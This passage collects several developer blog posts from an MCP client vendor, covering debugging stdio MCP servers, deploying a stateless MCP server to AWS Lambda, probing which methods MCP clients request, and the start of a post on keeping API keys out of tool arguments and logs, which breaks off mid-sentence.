`~/Library/Logs/Claude` on macOS and `%APPDATA%\Claude\logs` on Windows. ```bash tail -n 20 -F ~/Library/Logs/Claude/mcp*.log ``` Two launch problems account for most of what you will find there. The working directory of a server started by a client is undefined, often `/` on macOS, so every relative path in your config or your `.env` is wrong. And a stdio server inherits only a limited, platform-dependent subset of environment variables, so the API key that works in your shell is simply absent. Use absolute paths in the config, and pass what you need through an explicit `env` block. > **Restart properly** > > After a server code change, quit the client completely and reopen it. Closing the window is not enough on Claude Desktop, and a stale server process is a very convincing imitation of a change that did not work. --- ## Frequently asked questions ## Frequently asked questions ### Why does my MCP server tool call time out with no error? Check for a write to stdout with no trailing newline, such as `process.stdout.write("...")` or a progress bar. The partial line joins the next JSON-RPC response, the combined line fails to parse, and the client's read buffer discards it silently. The reply is lost and the request waits until it times out. ### Does console.log actually crash an MCP server? No. In `@modelcontextprotocol/client` 2.0.0, a stdout line that fails `JSON.parse` is skipped and the connection carries on. The tool call still succeeds and your log line is discarded with no warning. It is a silent bug, not a crash, which is what makes it hard to find. ### How do I see the logs from my MCP server? Log to stderr with `console.error`. The host application captures a stdio server's stderr automatically. When driving the server yourself, pass `stderr: "inherit"` to `StdioClientTransport` so the output reaches your terminal. ### How do I test an MCP server without connecting it to a client? Run the MCP Inspector in CLI mode: `npx @modelcontextprotocol/inspector@2.4.0 --cli node server.js --method tools/list`. It starts the server, runs one method, prints the JSON result, and exits, so there is no UI or client restart in your loop. ### My MCP server works in the Inspector but does not show up in my client. Why? The problem is almost always how the client launches it, not the server code. The working directory is undefined, often `/` on macOS, and only a limited subset of environment variables is inherited. Use absolute paths in the config, pass secrets through an explicit `env` block, and read the client's log at `~/Library/Logs/Claude/mcp*.log` on macOS. ### Should I use the MCP logging notifications instead of stderr? Not for local servers. Logging over the protocol with `notifications/message` is deprecated as of protocol version `2026-07-28`. Use stderr for stdio servers, and OpenTelemetry or your own log aggregation for Streamable HTTP servers, whose stderr the client does not capture. The short version: define a `log` helper on `console.error` before you write your first tool, set `transport.onerror` so protocol errors have somewhere to go, and keep the Inspector CLI and a probe script within reach. Almost every stdio mystery resolves into one of the three cases above once you can see the stream. [Adding a server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) takes one short form. It connects over stdio or HTTP, and a server that will not start prints its reason above the Connect button, so the failure is a line you can read rather than a stream you have to reconstruct. [Download MCPOrbit for macOS](/api/download) --- # How to deploy an MCP server to AWS Lambda URL: https://mcporbit.com/blog/deploy-an-mcp-server-to-aws-lambda Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Tutorial Tags: AWS Lambda, Deployment, Serverless, MCP, Node.js Lambda can run an MCP server, but five things break before it does. Here are the measured failures and the one-file handler that fixes every one. To deploy a Model Context Protocol (MCP) server to AWS Lambda, drop the Node HTTP transport, convert the API Gateway event into a Web Standard `Request`, and run `WebStandardStreamableHTTPServerTransport` in stateless mode with `enableJsonResponse: true`. Answer any non-POST method yourself. That is the whole job, and each of those four choices exists because the obvious alternative fails. The short answer everyone gives is "yes, Lambda works for request/response MCP servers, just watch your timeout." That is true and it is not enough. We ported a working Express MCP server to a Lambda handler and it failed five separate times before it answered a single `tools/list`. Four of those failures return a 200 or a bare 400 with no error text, so nothing in the logs tells you what is wrong. **What actually breaks** - The Node transport handed a Lambda event replies `400` with an empty body. No message, no stack, nothing in the logs. - The transport answers in `text/event-stream` by default, even for a single `tools/call` that streams nothing. - Clients that send `Accept: application/json` get a `406`. Both media types are required. - Stateful mode returns `400 Bad Request: Server not initialized` on the second call, not the `404` the docs describe. - A `GET /mcp` returns `200` and a stream that never emits a byte. The function bills until it times out. > **Note** > > Every response quoted below came from running the handler locally against an API Gateway payload v2 event object, on `@modelcontextprotocol/sdk` 1.30.0 and Node 25. The platform behavior around it, buffered responses and billing to the timeout, is Lambda's documented contract rather than something measured here. ## What you need before you start Node.js 20 or newer and one dependency. The MCP SDK brings its own transports, so there is no Express, no `serverless-http`, and no framework adapter in this build. ```bash mkdir lambda-mcp && cd lambda-mcp npm init -y npm pkg set type=module npm install @modelcontextprotocol/sdk@1.30.0 zod@3.25.76 ``` ## Why doesn't the normal Express example port to Lambda? Every MCP HTTP tutorial uses `StreamableHTTPServerTransport` from `server/streamableHttp.js`. It takes a Node `IncomingMessage` and a `ServerResponse`. Lambda hands you a plain JSON object instead. The tempting move is to pass the event straight in and give it a response stub. ```javascript // Does not work. Kept here so you recognize the symptom. const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined }); await server.connect(transport); await transport.handleRequest(event, responseStub); ``` This does not throw. It resolves cleanly, and the only thing it ever writes to the response is a status line: ```text promise outcome : resolved bytes written to res: [["writeHead", 400, {}], ["end", ""]] ``` A `400` with an empty body. The transport looked for headers and a readable body on the event object, found neither in the shape it expects, and gave up quietly. There is no error to log and no exception to catch. The fix is to skip that transport. As of SDK 1.30.0 the Node class is a thin wrapper around `WebStandardStreamableHTTPServerTransport`, which takes a `Request` and returns a `Response`. Its own header calls it "a thin wrapper around `WebStandardStreamableHTTPServerTransport` that provides compatibility with Node.js HTTP server." On Lambda you do not want that compatibility layer, because you have no Node HTTP server to be compatible with. Use the base class and build the `Request` yourself. ```javascript function eventToRequest(event) { const url = `https://${event.requestContext.domainName}${event.rawPath}` + (event.rawQueryString ? `?${event.rawQueryString}` : ''); const body = event.body == null ? undefined : (event.isBase64Encoded ? Buffer.from(event.body, 'base64') : event.body); return new Request(url, { method: event.requestContext.http.method, headers: new Headers(event.headers), body }); } ``` > **Note** > > Honor `isBase64Encoded`. API Gateway sets it whenever the payload is treated as binary, and a base64 string parsed as JSON gives you a parse error that reads like a client bug. ## Your server answers in SSE even when nothing is streaming With the `Request` built correctly, a plain `tools/call` comes back like this: ```text status : 200 content-type: text/event-stream body : event: message data: {"result":{"content":[{"type":"text","text":"echo: hi"}]}, "jsonrpc":"2.0","id":1} ``` The result is correct, but it is wrapped in SSE framing for a call that streams nothing. The spec allows the server to prefer a stream, and the SDK defaults to preferring one. On Lambda that default costs you something specific. A buffered integration holds the entire body until the function returns, so the frames arrive together at the end. We timed a 300 ms tool call: the response headers resolved in under a millisecond, and the body completed at 303 ms. Nothing reached a client early, because there was no client reading it yet. Progress notifications have the same fate. They are written into a stream that nobody drains until the invocation ends, which makes them arrive after the work they were reporting on. Ask for JSON instead. ```javascript const transport = new WebStandardStreamableHTTPServerTransport({ sessionIdGenerator: undefined, enableJsonResponse: true }); ``` ```text status : 200 content-type: application/json body : {"result":{"content":[{"type":"text","text":"echo: hi"}]},"jsonrpc":"2.0","id":1} ``` ### The Accept header that returns 406 Streamable HTTP requires the client to accept both media types. Send only `application/json`, which is what curl, most gateway health checks and a lot of internal callers do, and the request is refused: ```text status: 406 body : {"jsonrpc":"2.0","error":{"code":-32000, "message":"Not Acceptable: Client must accept both application/json and text/event-stream"}, "id":null} ``` A compliant MCP client sends both and never sees this. Everything else does. Since the handler already builds the `Headers` object, set the value there and the problem stops existing: ```javascript const headers = new Headers(event.headers); headers.set('accept', 'application/json, text/event-stream'); ``` ## Can an MCP session survive between Lambda invocations? No, and the error it produces points at the wrong thing. Set a `sessionIdGenerator` and the first invocation looks healthy. It returns `200` and an `mcp-session-id` header. Send that session ID on a second invocation that lands on a different instance: ```text invoke 1 status: 200 mcp-session-id: sess-abc invoke 2 status: 400 invoke 2 body : {"jsonrpc":"2.0","error":{"code":-32000, "message":"Bad Request: Server not initialized"},"id":null} ``` The SDK documents an unknown session as a `404 Not Found`. What you get is a `400` saying the server is not initialized, because the fresh instance has no session table at all and never reaches the lookup. That message sends people to check their `initialize` call, which was fine. The session is the problem. > **Note** > > This is not a Lambda quirk to route around with sticky sessions. Revision 2026-07-28 removed protocol sessions and the `Mcp-Session-Id` header entirely. Stateless is the direction of the spec, so set `sessionIdGenerator: undefined` and keep any cross-call state in explicit tool arguments. ## The GET that bills you until the timeout This is the expensive one. Streamable HTTP defines `GET /mcp` as the channel a client opens to receive server-initiated messages. Hand that GET to the transport on Lambda and watch what happens: ```text settled at 1 ms status 200 content-type: text/event-stream body: NO CHUNK in 3000ms, stream stays open ``` The transport answers `200` immediately and opens a stream it intends to hold indefinitely. That is correct behavior for a long-lived server. On a buffered function it means the body never completes, so the invocation cannot return. The function runs until the configured timeout, and you are billed for all of it. One misconfigured client that retries a GET can hold open as many concurrent executions as your account allows. A stateless server has nothing to push, so there is no reason to accept the request. Answer it before the transport ever sees it. ```javascript if (event.requestContext.http.method !== 'POST') { return { statusCode: 405, headers: { 'content-type': 'application/json', allow: 'POST' }, body: JSON.stringify({ jsonrpc: '2.0', error: { code: -32000, message: 'Method not allowed. This server is stateless and accepts POST only.' }, id: null }), isBase64Encoded: false }; } ``` > **Note** > > Set a function timeout you can afford before your first deploy, not after. The default on many setups is far longer than any tool call in this server needs, and the GET above turns that number into your bill. ## The complete handler One file, `handler.mjs`. It exposes a single `get_forecast` tool so the plumbing stays visible. Every fix above is in it. ```javascript import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'; import { WebStandardStreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/webStandardStreamableHttp.js'; import { z } from 'zod'; const METHOD_NOT_ALLOWED = { jsonrpc: '2.0', error: { code: -32000, message: 'Method not allowed. This server is stateless and accepts POST only.' }, id: null }; function buildServer() { const server = new McpServer({ name: 'lambda-mcp', version: '1.0.0' }); server.registerTool( 'get_forecast', { description: 'Get a short weather forecast for a city', inputSchema: { city: z.string().describe('City name, for example "Lisbon"') } }, async ({ city }) => ({ content: [{ type: 'text', text: `${city}: 22C, clear.` }] }) ); return server; } function eventToRequest(event) { const url = `https://${event.requestContext.domainName}${event.rawPath}` + (event.rawQueryString ? `?${event.rawQueryString}` : ''); const headers = new Headers(event.headers); // API Gateway clients routinely send Accept: application/json. The transport // answers 406 unless both media types are present, so widen it here. headers.set('accept', 'application/json, text/event-stream'); const body = event.body == null ? undefined : (event.isBase64Encoded ? Buffer.from(event.body, 'base64') : event.body); return new Request(url, { method: event.requestContext.http.method, headers, body }); } async function responseToResult(response) { const headers = {}; response.headers.forEach((value, key) => { headers[key] = value; }); return { statusCode: response.status, headers, body: await response.text(), isBase64Encoded: false }; } export async function handler(event) { // Answer GET and DELETE ourselves. Handing them to the transport returns an // SSE stream that never emits, and the function bills until it times out. if (event.requestContext.http.method !== 'POST') { return { statusCode: 405, headers: { 'content-type': 'application/json', allow: 'POST' }, body: JSON.stringify(METHOD_NOT_ALLOWED), isBase64Encoded: false }; } const server = buildServer(); const transport = new WebStandardStreamableHTTPServerTransport({ sessionIdGenerator: undefined, enableJsonResponse: true }); try { await server.connect(transport); const response = await transport.handleRequest(eventToRequest(event)); return await responseToResult(response); } finally { await transport.close(); await server.close(); } } ``` Two details are worth naming. The server and transport are built inside the handler, not at module scope, and both are closed in a `finally`. A transport left open across invocations on a warm instance keeps stream state that the next request can trip over. Building per request costs a fraction of a millisecond, measured below, and removes the whole class of problem. ## Test it end to end You do not need to deploy to test the part that breaks. Every failure above lives at the event boundary, so a script that calls `handler` with a payload v2 event exercises the same code AWS will run. ```javascript import { handler } from './handler.mjs'; function ev(method, body, headers = {}) { return { version: '2.0', rawPath: '/mcp', rawQueryString: '', headers: { 'content-type': 'application/json', accept: 'application/json', ...headers }, requestContext: { domainName: 'abc123.lambda-url.eu-west-1.on.aws', http: { method } }, body: body ? JSON.stringify(body) : null, isBase64Encoded: false }; } // Each call is a separate invocation. Nothing is shared between them. console.log(await handler(ev('POST', { jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }))); console.log(await handler(ev('POST', { jsonrpc: '2.0', id: 3, method: 'tools/call', params: { name: 'get_forecast', arguments: { city: 'Lisbon' } } }))); console.log(await handler(ev('GET', null, { accept: 'text/event-stream' }))); ``` Run it with `node e2e.mjs`. Note the `Accept: application/json` in the fixture, which is the header that returned a `406` earlier and now passes: ```text --- tools/list status : 200 content-type: application/json body : {"result":{"tools":[{"name":"get_forecast", ... }]},"jsonrpc":"2.0","id":2} --- tools/call status : 200 content-type: application/json body : {"result":{"content":[{"type":"text","text":"Lisbon: 22C, clear."}]},"jsonrpc":"2.0","id":3} --- GET (the listen channel) status : 405 content-type: application/json body : {"jsonrpc":"2.0","error":{"code":-32000, "message":"Method not allowed. This server is stateless and accepts POST only."},"id":null} ``` The test worth keeping is the third one below: call `tools/call` with no `initialize` in front of it, on an instance that has never seen a client. A correctly stateless server answers it. A server that still has session logic in it does not, and that is the failure you would otherwise find in production, on the first cold start after a deploy. ```text --- tools/call on a cold instance, no initialize status : 200 body : {"result":{"content":[{"type":"text","text":"Porto: 22C, clear."}]},"jsonrpc":"2.0","id":4} warm invocation wall time: 1 ms ``` ## What does this cost on a cold start? Two dependencies is not two packages. `@modelcontextprotocol/sdk` 1.30.0 plus `zod` 3.25.76 installs 91 packages and 23 MB, which is what your deployment bundle carries. Importing the three modules the handler needs took 40 ms on a warm filesystem, measured over five runs after discarding the first. ```text node_modules : 23M, 91 packages module import : 63.9 ms (first), then 40.8 / 40.3 / 40.3 / 40.3 ms warm invocation : 1 ms ``` That 40 ms is module loading alone, before the Node runtime itself starts. It is a floor on your cold start, not an estimate of it. The number to take from this is the last line: once warm, the MCP layer costs about a millisecond, so whatever your tool actually does is the entire latency budget. ## Frequently asked questions ## Frequently asked questions ### Should I use a Lambda Function URL or API Gateway for an MCP server? A Function URL is enough for this server and skips a component. Both deliver the payload v2 event shape the handler above expects. Reach for API Gateway when you want its authorizers, usage plans or per-method throttling in front of the function. ### Does Lambda response streaming let me keep SSE? Partly. Response streaming works on Function URLs with the `RESPONSE_STREAM` invoke mode and would let SSE frames leave early. It does not help with `GET /mcp`, because that stream is meant to stay open indefinitely and your function still has a timeout. Keep `enableJsonResponse: true` unless you have a tool that genuinely emits progress over many seconds. ### Why does my MCP server return 406 on Lambda? The client sent `Accept: application/json` without `text/event-stream`. Streamable HTTP requires both. Overwrite the header when you build the `Request` from the event, as the handler above does. ### Why do I get "Server not initialized" on the second request? You are running the transport with a `sessionIdGenerator` set. The second request reached a different instance with no session state, so it fails before the session lookup and reports a `400` instead of the documented `404`. Set `sessionIdGenerator: undefined`. ### Can I run a stateful MCP server on Lambda with a shared session store? You could, but there is no reason to. Revision 2026-07-28 removed protocol sessions from MCP entirely, so a session store solves a problem the current spec no longer has. Pass state explicitly as tool arguments instead. ### Do I need to keep the MCP server object outside the handler for performance? No. Building the server and transport per invocation measured about 1 ms on a warm instance. Hoisting them to module scope keeps transport state alive between unrelated requests, which is a real correctness risk for a saving you cannot detect. The handler above is a complete, working MCP server on Lambda. The five failures it routes around are all in the gap between a transport designed for a long-lived HTTP server and a runtime that hands you one event and expects one object back. None of them are hard once you can see them, and four of them are invisible until you go looking. [Connect your deployed URL in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and call the tools by hand. You get every request and response in full, which is a faster first check than wiring up logging. [Download MCPOrbit for macOS](/api/download) --- # How to find out what an MCP client actually supports URL: https://mcporbit.com/blog/find-out-what-an-mcp-client-supports Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Build-it Tags: MCP, MCP Clients, Debugging, Build-it, JSON-RPC, Discovery Client docs and declared capabilities both mislead. Point the client at a small probe server, read the request log, and see which MCP methods it really sends. To find out what a Model Context Protocol (MCP) client actually supports, do not read its docs or trust the capabilities it declares. Point it at a small probe server that logs every JSON-RPC method it receives, then read the log. The methods a client actually sends are the only reliable answer, and they differ from both the docs and the declaration. A client tells you two different things about itself, and neither one answers the question you care about. Its `initialize` request declares what the *client* can do for the server, things like `roots` and `elicitation`. That says nothing about which of your server's features it will ask for. A client can declare nothing at all and still request tools, resources and prompts. A client can declare plenty and never once call `resources/list`. The question a server author actually has is narrower: if I ship resources, will this client ever fetch them? The only honest way to answer it is to watch the wire. This post gives you a probe server that does that in about 130 lines with no dependencies, plus the measured results from three real clients. - A client's declared `capabilities` describe what it offers the server, not which server features it will request. Do not use it as a support matrix. - Claude Code 2.1.247 requests `tools/list`, `prompts/list` and `resources/list` in a real session, but only `tools/list` during a health check. The check you run changes the answer. - None of the three clients tested requested `resources/templates/list`. Templated resources can be invisible even when static resources are read. - The MCP Inspector calls `logging/setLevel` on connect. A server that advertises the `logging` capability without implementing it fails the whole connection. - All three clients negotiated protocol revision `2025-11-25`, not `2026-07-28`. Pin your assumptions to what the client sends, not to the newest spec. ## Why declared capabilities are not a support matrix MCP's handshake is symmetric. The server advertises what it serves: tools, resources, prompts, completions, logging. The client advertises what it can do on the server's behalf: `roots`, `sampling`, `elicitation`. These are two different lists, and people read the second one as if it answered the first. Here is what Claude Code 2.1.247 sends. Read it closely: there is no statement anywhere about resources or prompts, because that is not what this field is for. ```json { "protocolVersion": "2025-11-25", "capabilities": { "roots": { "listChanged": true }, "elicitation": {} }, "clientInfo": { "name": "claude-code", "title": "Claude Code", "version": "2.1.247", "description": "Anthropic's agentic coding tool", "websiteUrl": "https://claude.com/claude-code" } } ``` Nothing in that payload predicts whether the client will call `resources/list`. It happens to, but you cannot tell from here. The declaration is a promise about the client's own features, and it is also incomplete as a promise: this client declares `elicitation` but not `sampling`. > **The short version** > > Declared capabilities answer "what can this client do for me?" They never answer "what will this client ask me for?" Only the request log answers the second question. ## The probe server This server advertises everything a server can advertise, answers every method with a valid stub, and appends each inbound method to a JSON Lines file. It speaks raw JSON-RPC over stdio with no SDK, on purpose: an SDK would normalize the traffic, and the traffic is the measurement. It needs Node 18 or newer and nothing else. Save it as `probe-server.mjs`: ```javascript #!/usr/bin/env node // probe-server.mjs - a dependency-free MCP server that records what the client asks for. // It advertises tools, resources, resource templates, prompts, completions and logging, // then appends every inbound JSON-RPC method to PROBE_LOG. import { appendFileSync } from "node:fs"; const LOG = process.env.PROBE_LOG || "/tmp/mcp-probe.jsonl"; const record = (entry) => appendFileSync(LOG, JSON.stringify(entry) + "\n"); const CAPABILITIES = { tools: { listChanged: true }, resources: { subscribe: true, listChanged: true }, prompts: { listChanged: true }, completions: {}, logging: {}, }; const TOOLS = [ { name: "probe_echo", description: "Echo a string back. Used to confirm the client can call a tool.", inputSchema: { type: "object", properties: { text: { type: "string" } }, required: ["text"], }, }, ]; const RESOURCES = [ { uri: "probe://readme", name: "Probe readme", description: "A static text resource.", mimeType: "text/plain", }, ]; const RESOURCE_TEMPLATES = [ { uriTemplate: "probe://item/{id}", name: "Probe item", description: "A templated resource.", mimeType: "text/plain", }, ]; const PROMPTS = [ { name: "probe_prompt", description: "A one-argument prompt.", arguments: [{ name: "topic", description: "Anything", required: true }], }, ]; function handle(msg) { const { id, method, params } = msg; record({ t: new Date().toISOString(), method, params: params ?? null, hasId: id !== undefined }); // Notifications carry no id and get no response. if (id === undefined) return null; switch (method) { case "initialize": return { protocolVersion: params?.protocolVersion ?? "2025-11-25", capabilities: CAPABILITIES, serverInfo: { name: "probe-server", version: "1.0.0" }, }; case "tools/list": return { tools: TOOLS }; case "tools/call": return { content: [{ type: "text", text: `echo: ${params?.arguments?.text ?? ""}` }] }; case "resources/list": return { resources: RESOURCES }; case "resources/templates/list": return { resourceTemplates: RESOURCE_TEMPLATES }; case "resources/read": return { contents: [{ uri: params?.uri, mimeType: "text/plain", text: "probe resource body" }], }; case "prompts/list": return { prompts: PROMPTS }; case "prompts/get": return { description: "probe", messages: [{ role: "user", content: { type: "text", text: "probe prompt body" } }], }; case "completion/complete": return { completion: { values: ["alpha", "beta"], hasMore: false } }; case "logging/setLevel": return {}; case "ping": return {}; default: return { __error: { code: -32601, message: `Method not found: ${method}` } }; } } let buffer = ""; process.stdin.on("data", (chunk) => { buffer += chunk.toString(); let nl; while ((nl = buffer.indexOf("\n")) !== -1) { const line = buffer.slice(0, nl).trim(); buffer = buffer.slice(nl + 1); if (!line) continue; let msg; try { msg = JSON.parse(line); } catch { record({ t: new Date().toISOString(), method: "", raw: line.slice(0, 200) }); continue; } const messages = Array.isArray(msg) ? msg : [msg]; for (const m of messages) { const result = handle(m); if (result === null) continue; const body = result.__error !== undefined ? { jsonrpc: "2.0", id: m.id, error: result.__error } : { jsonrpc: "2.0", id: m.id, result }; process.stdout.write(JSON.stringify(body) + "\n"); } } }); process.stdin.on("end", () => process.exit(0)); ``` Two details matter. It advertises `logging` and implements `logging/setLevel`, because at least one real client calls it on connect and aborts if it is missing. And it answers `resources/templates/list` even though nothing in this test ever asked for it, so that a negative result means the client did not ask rather than that the server could not answer. ## Point a client at the probe Every client is configured the same way: give it a command to run and an env var telling the probe where to write. For Claude Desktop or Cursor, use the `mcpServers` shape. Claude Desktop reads `~/Library/Application Support/Claude/claude_desktop_config.json` on macOS; Cursor reads `~/.cursor/mcp.json` or `.cursor/mcp.json` in a repo. ```json { "mcpServers": { "probe": { "command": "node", "args": ["/absolute/path/to/probe-server.mjs"], "env": { "PROBE_LOG": "/absolute/path/to/probe.jsonl" } } } } ``` VS Code uses `servers` instead of `mcpServers` and needs an explicit `type`. Put this in `.vscode/mcp.json`: ```json { "servers": { "probe": { "type": "stdio", "command": "node", "args": ["/absolute/path/to/probe-server.mjs"], "env": { "PROBE_LOG": "/absolute/path/to/probe.jsonl" } } } } ``` For Claude Code, skip the file and register it from the command line, then start a session that calls the tool: ```bash claude mcp add probe -s local \ -e PROBE_LOG=$PWD/probe.jsonl \ -- node $PWD/probe-server.mjs claude -p "Call the probe_echo tool with text='hello' and report what it returned." ``` MCPOrbit is a form rather than a file or a command. Type is `STDIO`, Command is `node`, Arguments is the path to `probe-server.mjs`, and `PROBE_LOG` goes in Environment Variables as a JSON object. It is worth pointing the probe at it too, because the whole argument of this post is that a published table does not tell you what your client actually asks for. [How to add an MCP server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) covers the fields. Then read the log. Each line is one inbound message, in order: ```bash $ cat probe.jsonl | python3 -c 'import json,sys for line in sys.stdin: print(json.loads(line)["method"])' initialize notifications/initialized tools/list prompts/list resources/list tools/call ``` That is the answer for your client, on your machine, at the version you have installed. It does not go stale the way a published table does. ## What three real clients requested Measured on macOS on 2026-08-28 against the probe above. These are worked examples, not a complete matrix. Run the probe against your own client rather than assuming a row here transfers. ### Claude Code 2.1.247 A real session requests `initialize`, `notifications/initialized`, `tools/list`, `prompts/list`, `resources/list`, then `tools/call`. It does not request `resources/templates/list`. The `tools/call` arrives with a `progressToken`, so it is prepared to receive progress notifications. A health check is not the same thing. `claude mcp list` connects, reports the server healthy, and requests only `initialize`, `notifications/initialized` and `tools/list`. If you probe with a health check and conclude the client ignores resources, you are wrong, and the mistake is invisible. ### MCP Inspector 2.4.0 The official Inspector, in CLI mode, requests `initialize`, `notifications/initialized`, `logging/setLevel`, then whatever `--method` you passed. It is the only client tested that touches `logging/setLevel`, and it declares two protocol extensions: ```json { "protocolVersion": "2025-11-25", "capabilities": { "roots": { "listChanged": true }, "extensions": { "io.modelcontextprotocol/tasks": {}, "io.modelcontextprotocol/ui": { "mimeTypes": ["text/html;profile=mcp-app"] } } }, "clientInfo": { "name": "inspector-cli", "version": "2.4.0" } } ``` ### TypeScript SDK client 1.30.0 An SDK-built client sends `initialize`, `notifications/initialized`, and then exactly the calls your code makes. It is the only one of the three that requested `resources/templates/list`, and only because the test called `listResourceTemplates()` explicitly. It declared empty capabilities and still listed tools, resources, templates and prompts without trouble, which is the cleanest demonstration that the declaration and the request set are unrelated. ## Three results worth designing around ### Advertising a capability you did not implement breaks clients The first version of the probe advertised `logging` and had no `logging/setLevel` handler. The Inspector did not warn or degrade. It failed the entire invocation before reaching `tools/list`: ```bash $ npx @modelcontextprotocol/inspector@2.4.0 --cli node probe-server.mjs \ --method tools/list {"error":{"code":"error","message":"Method not found: logging/setLevel"}} ``` Adding a two-line handler that returns `{}` fixed it. The lesson generalizes past logging: the capabilities object is a contract, and a client is entitled to call anything you list there on connect. Advertise only what you have implemented. ### Templated resources may never be requested `resources/templates/list` is a separate method from `resources/list`, and a client that calls the second does not necessarily call the first. Neither Claude Code nor the Inspector asked for templates. If your server exposes data only through a URI template, a client can read your static resources and still never discover it. Expose the important entry points as concrete resources too, or as tools. ### The negotiated revision lags the published spec All three clients proposed `2025-11-25`. None proposed `2026-07-28`. If you build against the newest revision and assume clients speak it, you are writing for a version that is not on the wire yet. The probe records the proposed `protocolVersion` on the first line of the log, so you can check rather than guess. > **Design rule** > > Ship tools first. Tools were requested by every client tested, in every mode. Resources and prompts were requested by some clients in some modes. Treat anything past tools as an enhancement you have verified, not as a feature you assumed. ## Frequently asked questions ## Frequently asked questions ### How do I know if an MCP client supports resources? Run a probe server that logs inbound JSON-RPC methods, connect the client, and check whether `resources/list` appears in the log. A client's declared `capabilities` will not tell you, because that field describes the client's own features such as `roots` and `elicitation`, not which server features it requests. ### What does a client's capabilities object in initialize actually mean? It declares what the client can do for the server: `roots` to expose directories, `sampling` to run model completions on the server's behalf, `elicitation` to prompt the user for input. It is not a list of the server features the client will use. Claude Code 2.1.247 declares only `roots` and `elicitation`, yet still requests tools, prompts and resources. ### Why does my MCP server fail to connect to the Inspector? Check whether you advertise a capability you did not implement. The Inspector calls `logging/setLevel` immediately after `initialize` if the server declares the `logging` capability, and a `-32601` method-not-found response aborts the whole invocation before any tools are listed. Implement the handler or remove `logging` from your capabilities. ### Do MCP clients request resource templates? Not reliably. `resources/templates/list` is a separate method from `resources/list`. In testing on 2026-08-28, neither Claude Code 2.1.247 nor MCP Inspector 2.4.0 requested it; only an SDK-built client did, and only when the code called `listResourceTemplates()` explicitly. Do not rely on a URI template as the only path to important data. ### Which MCP protocol version do clients actually negotiate? Test what you have rather than assuming the latest. Claude Code 2.1.247, MCP Inspector 2.4.0 and the TypeScript SDK client 1.30.0 all proposed `2025-11-25`, not the `2026-07-28` revision. The probe server records the proposed `protocolVersion` in the first logged line. ### Does a server health check tell me what a client supports? No, and it will mislead you. `claude mcp list` reports a server healthy after requesting only `initialize`, `notifications/initialized` and `tools/list`. The same client in a real session also requests `prompts/list` and `resources/list`. Always probe with a real session. The probe is 130 lines and disposable. Keep it next to your server and re-run it whenever you add a primitive or a client ships an update, because both of those change the answer and neither one announces it. Knowing which methods your clients call is the first half. Seeing it happen is the second. MCPOrbit is an MCP client, so you can connect your server to it and call each tool by hand, then read the full request and response JSON for every call in its log. [Download MCPOrbit for macOS](/api/download) --- # How to handle API keys in an MCP server URL: https://mcporbit.com/blog/handle-api-keys-in-an-mcp-server Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Build it Tags: MCP, TypeScript, Security, API Keys, Engineering Keep API keys in the MCP server's environment, never in tool arguments or logs. A tested TypeScript walkthrough: fail-fast config, redaction, per-tenant keys. An API key belongs in the Model Context Protocol (MCP) server's own process environment. Read it once at startup, validate it, attach it to the outbound request, and never let it appear in a tool argument, a tool result, or a log line. That one rule settles most of the design. The model calls your tool, your server calls the upstream API, and the credential only exists on the second hop. If a key ever becomes a tool input, it has to travel through the conversation to get there, which means it lands in the model's context, in the client's transcript, and in whatever the client logs. None of those are places you can revoke. - Local stdio servers get their keys from the `env` block in the client's config file, which the client passes to the child process. - Validate the environment at startup and exit non-zero. A server that boots without its key just fails every call later, with a worse error. - No tool should declare an input named `apiKey`, `token`, or `authorization`. Assert it at startup so nobody adds one. - Route every error string through a redactor. Upstream APIs echo credentials back more often than you would expect. - For a remote server with many users, the caller's token identifies them. It is not the key you send upstream. ## Where does an MCP server get its API key? For a local server over stdio, the client spawns your process, so the client supplies the environment. In Claude Desktop, Cursor, or VS Code that is the `env` object in the MCP config file. The key sits in that file on disk, your server reads it from `process.env`, and it never crosses the protocol. ```json { "mcpServers": { "keyed-api": { "command": "npx", "args": ["tsx", "/absolute/path/to/keys-mcp/server.ts"], "env": { "API_BASE_URL": "https://api.example.com", "API_KEY": "sk_live_your_key_here" } } } } ``` MCPOrbit puts the same two variables in a field instead of a file. Command is `npx`, Arguments is `tsx /absolute/path/to/keys-mcp/server.ts`, and both `API_BASE_URL` and `API_KEY` go in Environment Variables, which takes the same JSON object you see above. The mechanism does not change: the client supplies the environment, your server reads `process.env`, and the key never crosses the protocol. [How to add an MCP server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) shows that field. Everything below runs against a fake API that the test file starts for you, so you can copy the whole thing and run it without signing up for anything. Set up the project first. ```bash mkdir keys-mcp && cd keys-mcp npm init -y && npm pkg set type=module npm install @modelcontextprotocol/server@2.0.0 zod@4.4.3 npm install -D @modelcontextprotocol/client@2.0.0 tsx@4 ``` ## Validate the key at startup, not on the first tool call Parse the environment once, in its own module, and refuse to start if anything is missing. The failure a reader actually hits is a placeholder key copied out of a README, so check the shape too. Print the field name and the reason, never the value. ```typescript // config.ts - read every secret once, at startup, from the environment. import { z } from "zod"; const Env = z.object({ API_BASE_URL: z.string().startsWith("http", "API_BASE_URL must be an http(s) URL"), API_KEY: z.string().min(16, "API_KEY is shorter than 16 characters, so it is probably a placeholder"), }); const parsed = Env.safeParse(process.env); if (!parsed.success) { // Print the field names and why they failed. Never print the values. const problems = parsed.error.issues .map((issue) => ` ${issue.path.join(".")}: ${issue.message}`) .join("\n"); process.stderr.write(`Bad configuration, refusing to start:\n${problems}\n`); process.exit(1); } export const config = parsed.data; // Anything that might reach a log line or an error message goes through this. const secrets = [config.API_KEY]; export function redact(text: string): string { return secrets.reduce((out, secret) => out.split(secret).join("[redacted]"), text); } ``` > **Use stderr, not stdout** > > On a stdio server, stdout is the protocol channel. A `console.log` in your startup path writes a non-JSON line into the stream and the client drops the connection. Send diagnostics to `process.stderr`. ## Why a key must never be a tool argument It is tempting to write the tool below. It looks flexible, and it moves the key problem to somebody else. ```typescript // Do not do this. inputSchema: z.object({ apiKey: z.string(), // the model now has to know a secret projectId: z.string(), }) ``` For the model to 